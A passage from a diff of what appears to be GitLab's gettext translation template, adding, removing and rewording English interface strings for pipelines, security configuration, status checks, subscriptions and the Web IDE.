+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
